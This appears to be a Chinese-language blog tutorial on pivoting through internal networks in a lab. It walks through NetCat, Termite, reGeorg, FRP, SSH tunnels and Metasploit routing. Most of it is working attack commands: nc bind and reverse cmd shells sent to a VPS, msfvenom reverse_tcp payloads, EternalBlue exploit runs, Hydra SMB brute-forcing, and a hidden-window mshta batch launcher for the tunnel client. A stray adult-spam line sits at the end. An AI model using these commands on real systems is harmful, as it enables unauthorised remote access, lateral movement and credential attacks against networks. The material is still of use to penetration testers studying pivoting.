<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透-代理篇

    VSole2021-12-01 05:44:01

    利用代理工具將內網的流量代理到本地進行訪問,這樣就可以對內網進行下一步滲透,同時也可以利用代理工具將其他網段的流量轉發到本地進行縱向滲透。代理的本質是Socks協議(防火墻安全會話轉換協議),工作在OSI參考模型的第5層(會話層)。使用TCP協議傳輸數據,因而不提供如傳遞ICMP信息之類的網絡層相關服務。目前支持SOCKS4和SOCKS5兩個版本:

    • SOCKS4支持TELNET、FTP、HTTP等TCP協議;
    • SOCKS5支持TCP與UDP,并支持安全認證方案

    代理一般分為正向代理和反向代理兩類:

    正向代理:已控服務器監聽端口,通過這個端口形成一個正向的隧道,由代理機器代替主機去訪問內網目標。但是內網入口一般處于DMZ區域有防火墻攔截,無法直接進入內網環境。

    反向代理:由內網主機主動交出權限到代理機器,然后本地去連接形成反向代理。例如:VPS監聽本地端口,已控內網服務器來連接此端口,形成一個隧道。如果內網設備連接外網,就無法回彈只能再想其他辦法。

    • 端口轉發工具:NC、LCX、regGorg、venom、ngrock…
    • 代理鏈工具:proxychains(Linux)、proxifier(windows)...

    一、端口代理工具

    1.LCX

    LCX的使用方法傳送門:Hash讀取與端口轉發

    2.NetCat

    NetCat,簡稱NC。除開端口轉發以下還對NC的端口探測、文件傳輸、通信功能做了簡單的演示。NetCat 官方地址:

    http://netcat.sourceforge.net/
    

    2.1 端口轉發

    正向連接場景:目標防火墻不阻止外來流量。綁定本地的cmdshell在服務器的端口上然后本地去連接:

    ①服務器(192.168.1.98)執行命令將cmdshell綁定在本地5555端口上

    nc -l -p 5555 -t -e cmd.exe
    # -t是通過telnet模式執行 cmd.exe 程序,可省略
    

    ②在內網主動連接服務器的5555端口,可直接獲取目標的cmdshell

    nc -nvv 192.168.1.98 5555
    

    反向連接場景:目標設備在內網,防火墻阻止外來流量。綁定服務器的cmdshell并反向連接到vps(192.168.1.4)的TCP端口

    ①vps開啟監聽

    nc -lp 5555
    

    ②服務器內網鏈接vps 5555端口,主動交出自己的cmdshell

    nc -t -e cmd.exe 192.168.1.4 5555
    

    2.2 端口探測

    NC可以作為客戶端工具對目標進行端口探測:

    nc -vz -w 2 192.168.1.10 9999
    # -v可視化,-z掃描時不發送數據,-w超時幾秒,后面跟數字
    

    使用NC工具批量探測服務器連續端口:

    2.3 文件傳輸

    正向傳輸:服務器先偵聽端口,本地向服務器所在機器的該端口發送數據

    #服務器啟動監聽,將9995端口接收到的數據都寫到test文件里
    nc -l -p 9995 > test
    #本地往服務器的9995端口發送數據
    nc 192.168.1.4 9995 < 1.txt
    

    ② 反向傳輸:本地啟動文件發送命令,服務器主動連接下載文件

    #本地啟動文件發送命令,通過9992端口發送文件
    nc -l -p 9992 < 1.php
    

    #服務器執行命令下載192.168.1.10:9992端口文件,并把文件存到當前目錄文件夾2.php
    nc 192.168.1.10 9992 >2.php
    

    vps本地監聽,服務器連接vps可以將文件下載到本地。可利用此特性躲避防火墻。

    2.4 NC通信

    #開啟監聽
    nc -l -p 12345
    #連接。形成不加密聊天室
    nc 192.168.1.10 12345
    

    3.Termite工具

    #軟件作者教學視頻:
    http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4
    http://rootkiter.com/toolvideo/toolmp4/2socks.mp4
    http://rootkiter.com/toolvideo/toolmp4/3lcxtran.mp4
    http://rootkiter.com/toolvideo/toolmp4/4shell.mp4
    http://rootkiter.com/toolvideo/toolmp4/5file.mp4
    #項目地址: 
    http://rootkiter.com/Termite
    

    Termite是一款極度小巧靈活的跳板機。程序分為兩部分,admin(控制端)和agent(代理端節點),admin和agent所有選項用途均一致:

     -l 指定本地socks端口,等待遠程連接
     -c 指定遠程socks機器ip
     -p 指定遠程socks機器端口
    

    3.1 本地模擬環境

    最終目的:通過Termite工具代理使物理機靈活穿梭于目標內網(目前物理機只能和win08橋接網卡通信)

    3.2 正向連接

    ①win08本地監聽

    agent_win32.exe -l 6666
    

    ②win 7 本地監聽

    agent_win32.exe -l 7777
    

    ③xp 本地監聽

    agent_win32.exe -l 8888
    

    ④物理機連接win08

    admin_Win32.exe -c 192.168.1.10 -p 6666
    

    ⑤通過域win08建立的隧道連接win 7

    #連接win08成功后查看連接的隧道會話
    show
    #進入08的會話
    goto 1
    #連接win 7
    connect 192.168.106.129 7777
    

    ⑥連接XP

    #進去win7的會話
    goto 2
    #連接xp
    connect 169.254.228.204 8888
    

    ⑦成功建立隧道。開始執行命令:

    命令一:文件上傳

    # 傳送文件。將本地c:\unintall.log文件傳送到目標服務器命名為1.txt
    goto 5
    upfile c:\unintall.log 1.txt
    

    命令二:調用shell

    #調用shell,將目標機器cmd shell轉發到本地12345端口
    shell 12345 
    #nc連接,得到cmdshell
    nc 127.0.0.1 12345
    

    命令三:端口轉發

    #端口轉發。將目標3389轉發到本地1189,然后mstsc連接127.0.0.1:1189。注意多級轉發會造成流量擁堵,流量可能出不來
    lcxtran 1189 192.168.1.10 3389
    #socket代理
    #配合proxychains驅動本地軟件對內網進行掃描,由本地1080將流量轉發到內網
    socks 1080
    

    3.3 反向連接

    #win7保持監聽agent_Win32.exe -l 7777#xp反向連接到win7agent_Win32.exe -c 169.254.75.233 -p 7777#win8保持監聽agent_Win32.exe -l 6666#win7反向連接08agent_Win32.exe -c 192.168.106.128 -p 6666#此時xp、win7都已經主動上交了權限,物理機控制08就可以直接建立隧道admin_Win32.exe -c 192.168.1.10 -p 6666#反向連接用戶穿透防火墻

    4.venom工具

    使用Go開發的多級代理工具。Venom可將多個節點進行連接,然后以節點為跳板,構建多級代理。可以使用Venom輕松地將網絡流量代理到多層內網,并輕松地管理代理節點。venom工具使用方法傳送門:使用Venom多級代理工具穿透內網

    5.reGeorg+Proxychains

    項目地址:https://github.com/sensepost/reGeorg

    5.1 上傳腳本

    上傳腳本文件到服務器,訪問地址出現“Georg says, ‘All seems fine’”表示腳本正常運行。本地測試php腳本不能正常運行

    5.2 進行轉發

    python2 reGeorgSocksProxy.py -p 12345 -u http://192.168.1.10:8001/tunnel.aspx
    

    確認端口開啟:

    5.3 修改socket代理端口

    vi /etc/proxychains.conf
    #修改代理端口為12345
    

    5.4 遠程連接

    使用設置proxychains的代理端口,進行訪問,一般配合nmap和metasploit進行后續內網滲透。這里是直接3389上去的

    proxychains rdesktop 192.168.1.10
    

    6.ngrock

    MSF配合Ngrock穿透內網

    7.FRP

    #項目地址https://github.com/fatedier/frp/releases#frpc客戶端,frps服務端

    #實驗環境
    kali:192.168.1.3
    win08:192.168.1.10
    

    7.1 正向代理

    7.1.1 服務端設置

    ①下載安裝

    wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_386.tar.gz
    tar -zxvf frp_0.33.0_darwin_amd64.tar.gz
    

    ②配置frps.ini文件

    [common]
    bind_port = 7000
    dashboard_port = 7500
    token = 123.com
    dashboard_user = admin
    dashboard_pwd = admin
    
    • bind_port表示用于客戶端和服務端連接的端口
    • dashboard_port是服務端儀表板的端口
    • token是用于客戶端和服務端連接的口令
    • dashboard_user、dashboard_pwd分別表示打開儀表板頁面登錄的用戶名和密碼

    ③運行開啟監聽

    ./frps -c ./frps.ini
    #也可以使用nohup命令將其運行在后臺
    nohup ./frps -c frps.ini &
    


          7.1.2 客戶端設置

    ①服務端監聽成功之后,目標內網設備執行frp進行主動連接:編輯frpc.ini,修改配置

    [common]
    #服務端IP
    server_addr = 192.168.1.3  
    #服務端端口
    server_port = 7000          
    #token值
    token = 123.com
    
    [rdp]
    type = tcp
    local_ip = 127.0.0.1           
    local_port = 3389
    remote_port = 7001
    
    [smb]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 445
    remote_port = 7002
    

    ②運行連接

    cd C:\frp
    frpc.exe -c frpc.ini
    

    也可以直接使用批處理文件運行:

    @echo offif "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit:beginREMcd C:\frpfrpc.exe -c frpc.iniexit

    ③成功建立連接

    通過配置已經將內網的3389端口轉發到vps的7001端口。此時遠程連接vps的7001即可遠程連接內網的3389主機:

    7.2 反向代理

    #環境kali:192.168.109.128Win2008:192.168.1.10vps:x.x.x.x

    ①服務端配置

    #frp服務端與客戶端連接端口,frps和frpc必須一致
    bind_port = 7000
    

    ②服務端啟動frp

     ./frps -c ./frps.ini
    

    ③客戶端frpc.ini文件配置

    [common]
    server_addr = x.x.x.x     #你的云主機ip
    server_port = 7000        # frpc工作端口,必須和上面frps保持一致
    
    [msf]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 5000            #轉發給本機的5000
    remote_port = 6000         #服務端用6000端口轉發給本機 
    

    ④啟動客戶端

     ./frpc -c ./frpc.ini
    

    ⑤連接成功

    ⑥msf生成payload

    msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=6000 x-f exe x>frp.exe
    #注意:
    lhost:必需設置為vps服務端ip
    lport:設置你在frpc.ini的remote_port = 6000
    

    只有通過服務器的6000端口數據包才能成功轉發kali,這也是使用frp反向代理原因

    ⑦msf開啟監聽

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 127.0.0.1#設置監聽ip,必須和frpc中的local_ip 一致
    set lport 5000 #設置監聽端口,與frpc中的local_port一致
    run
    

    ⑧靶機運行payload,msf上線。此時云主機顯示連接信息:

    msf上線效果:

    #參考文章:
    https://blog.csdn.net/qq_38228830/article/details/85955955
    

    二、SSH代理穿透內網


    ①假設kali無法訪問Win08(實際kali為nat模式是可以訪問所有網段的)

    ②利用紅帽進行端口轉發使kali能夠訪問到Windows 2008

    1.SSH正向代理

    ①kali(192.168.198.128)連接紅帽192.168.198.131,同時將內網主機192.168.1.10的8001端口轉發到本地kali 192.168.198.128 的8001端口上

    ssh -L 192.168.198.128:8001:192.168.1.10:8001 root@192.168.198.131 -p 22
    #-L后面的IP是kali本地IP,可省略不寫
    #當跳板機紅帽的ssh端口為默認端口22時,也可省略不寫
    #需要知道紅帽的賬號及密碼
    

    ②轉發成功,這樣kali在訪問本機的8001端口,通過SSH服務器紅帽端口轉發后,實際訪問的就是服務器Windows2008的8001端口。注意,在進行轉發的時候語句L后面的IP省略不寫,那么訪問127.0.0.1:8001即可,如果寫了IP,就必須訪問IP地址:192.168.198.128:8001

    2.ssh反向代理

    將kali本地端口鏡像轉發到紅帽,所有訪問SSH服務器(紅帽)的鏡像端口即是訪問kali的端口。

    ① kali開啟80 http服務

    /etc/init.d/apache2 start
    

    ②kali連接紅帽。把kali(192.168.198.128:80)端口映射給ssh服務器(紅帽192.168.198.131)8001端口

    ssh -R 192.168.106.131:8001:127.0.0.1:80 root@192.168.198.131 -p 22
    #如果SSH服務器默認ssh端口為22,則"-p 22"可省略
    #需要知道紅帽的賬號及密碼
    

    ③成功把kali的http 端口轉發和紅帽的8001端口


    此時的紅帽127.0.0.1:8080已經是kali的http服務

    ④這里將kali的80端口轉發到紅帽的8001上,但是只監聽在127.0.0.1上,內網其他主機仍然無法訪問。還需要繼續轉發,將127.0.0.1:8001轉發到192.168.106.131:8001

    3.ssh配置socket代理

    ①kali連接紅帽

    ssh -D 8081 root@192.168.198.131 -p 22
    

    ②連接成功,此時kali已經開啟8081 socket代理端口:

    ③修改代理端口

    vi /etc/proxychains.conf
    #修改代理端口為8081
    

    ④使用proxychain 來掃描socket代理的內網

    proxychains nmap 192.168.1.1/24
    #使用proxychains工具驅動nmap掃描內網。通過socks代理掃描到本身掃描不到的內網網段
    

    通與不通就缺了一個socks代理,我太愛proxychains了

    三、MSF穿越多級網絡


    ①生成payload

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe >test.exe
    

    ②建立監聽,返回會話

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.1.5
    set lport 1122
    run
    

    ③發現存在75網段,對該網段進行縱向滲透。添加192.168.75.x段網段靜態路由

    run autoroute -s 192.168.75.0/24
    

    ④對192.168.75.x網段進行主機存活掃描,此時在MSF各個模塊已經可以訪問75網段

    run post/windows/gather/arp_scanner RHOSTS=192.168.75.0/24
    

    ⑤掛起當前會話,對目標win7(192.168.75.131)進行攻擊

    use exploit/windows/smb/ms17_010_eternalblue
    set rhost 192.168.75.131
    #因為直連沒有返回的流量所以不能用默認的reverse payload。
    #直連是在目標上面開一個端口然后本地去連接
    set payload windows/x64/meterpreter/bind_tcp 
    run
    

    漏洞利用失敗。為了加強效果節目效果專門搞了個XP

    use exploit/windows/smb/ms17_010_eternalblue
    set rhost 192.168.75.132
    set payload windows/meterpreter/bind_tcp 
    run
    

    漏洞依然利用失敗,放棄。

    MSF端口掃描模塊

    #對75網段進行全端口掃描
    use auxiliary/scanner/portscan/tcp
    set rhosts 192.168.75.131
    set ports 1-65535
    setg threads 50
    run
    

    這個端口掃描模塊耗時比較長且效果遠不如nmap

    ⑥本地設置socket代理,目的是讓MSF以外的工具也能與目標內網連接。前面添加了路由,使msf中的所有模塊可以用meterpreter作為代理訪問到192.168.75.x段。現在開啟sockets4代理,然后配合proxychains盤活kali里面除MSF以外的其他工具。利用掛起的會話建立代理:

    use auxiliary/server/socks4a 
    set srvhost 127.0.0.1
    set rport 1080 #注意避免端口沖突
    run
    

    查看端口,成功啟用代理:

    配置代理

    vi /etc/proxychains.conf
    socks4  127.0.0.1 1080
    

    配置完成后即可使用proxychains配合其他工具對目標進行下一步滲透。socks4版本協議不支持udp和icmp協議,所以使用nmap要加上-sT -Pn即使用tcp協議且不使用icmp協議。

    Nmap掃描

    #nmap掃描
    proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.75.131
    

    proxychains nmap -sT -sV -Pn -n -p 445 --script=smb-vuln-ms* 192.168.75.131
    


    縱向滲透

    如果拿下75網段shell且發現目標有也存在雙網卡,假如存在76網段,此時可以繼續添加靜態路由,進一步縱向滲透。此時:

    #配置路由
    run autoroute -s 192.168.76.0/24
    #驗證能否連接
    run post/windows/gather/arp_scanner RHOSTS=192.168.76.0/2
    

    #設置代理
    use auxiliary/server/socks4a 
    set srvhost 127.0.0.1
    set srvport 1081  #注意避免端口沖突
    run
    

    # 配置代理,要在1080端口下面再配置一個socket代理子啊1081端口上
    vi /etc/proxychains.conf
    socks4  127.0.0.1 1080
    socks4  127.0.0.1 1081
    

    #nmap掃描,這里建立了兩層鏈路。從127.0.0.1:1080>127.0.0.1:1081>192.168.76.*
    proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.76.1/24
    

    建立socks會話后,利用proxychains工具驅動其他軟件可以對網段掃描、爆破、嗅探、漏洞探測及利用。進行橫向滲透。也可以直接用msf里面的模塊直接滲透(msf不需要proxychains驅動)

    Hydra爆破

    proxychains hydra -l admin -P pass.txt -f 192.168.75.131 smb
    

    爆破成功后,將遠程目標機的端口轉發到本地攻擊

    ①.端口轉發

    portfwd add -L 192.168.1.5 -l 33890 -r 192.168.75.131 -p 3389
    

    ②.遠程連接

    rdesktop 192.168.1.5:33890
    

    也可以不使用端口轉發直接連接:

     #linux遠程登錄 proxychains ssh root@192.168.75.13
    
    nmap端口轉發
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    1) Namp收集信息 2) 簡單文本文件登錄腳本 (SiTeFiLo) 1.0.6 - 文件泄露/遠程文件包含 3) 空間越權(CVE-2018-18955) 4) hydra爆破 5) Vim提權 2.漏洞 1) CVE-2008-5763/2008-5762 2) CVE-2018-18955
    概述滲透測試的目標可以是單個主機,也可以是整個內網。在實戰中,比如最近如火如荼的HW行動,更多的是對一個目標的內網進行滲透,爭取獲得所有有價值的資產。完整的內網滲透涉及的步驟如下圖所示。快速橫向移動到到內網中的核心資產,獲取核心敏感數據和權限,完成一次疼痛的打擊。Step 1 信息收集完成邊界突破的第一步是目標對象資產的信息收集。這些其實是為了找到脆弱資產進行攻擊,畢竟“柿子挑軟的捏”。
    滲透測試的目標可以是單個主機,也可以是整個內網。在實戰中,比如最近如火如荼的HW行動,更多的是對一個目標的內網進行滲透,爭取獲得所有有價值的資產。完整的內網滲透涉及的步驟如下圖所示。快速橫向移動到到內網中的核心資產,獲取核心敏感數據和權限,完成一次疼痛的打擊。Step 1 信息收集完成邊界突破的第一步是目標對象資產的信息收集。這些其實是為了找到脆弱資產進行攻擊,畢竟“柿子挑軟的捏”。
    在實戰中,比如最近如火如荼的HW行動,更多的是對一個目標的內網進行滲透,爭取獲得所有有價值的資產。完整的內網滲透涉及的步驟如下圖所示。快速橫向移動到到內網中的核心資產,獲取核心敏感數據和權限,完成一次疼痛的打擊。Step 1 信息收集完成邊界突破的第一步是目標對象資產的信息收集。這些其實是為了找到脆弱資產進行攻擊,畢竟“柿子挑軟的捏”。
    剛入行時在網上搜各種工具使用技巧及方法,通過別人的經驗提高自身的技巧,然后再拿個小本本記錄,這是每個網安人初入行時的必備姿勢,那么今天丹丹就拿起先前做過的筆記和網上別人的經驗做一個合集,把大部分使用到的工具技巧整理成冊,后續自己以及大家查閱,如總結不到位的地方希望海涵,那現在就開始吧。。。。。
    因為 web 服務器同時連接了外網和內網,所以必須首先拿下。這里有關 web 服務器的滲透不展開講了,無非也就是利用漏洞,諸如:弱口令、上傳漏洞、遠程代碼執行、各種 cms 漏洞,總之都是可以找到寫入 webshell 的方法。成功寫入 webshell 后,接著就要上傳木馬控制 web 服務器,這里可以用 Metasploit或 Cobaltstrike。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类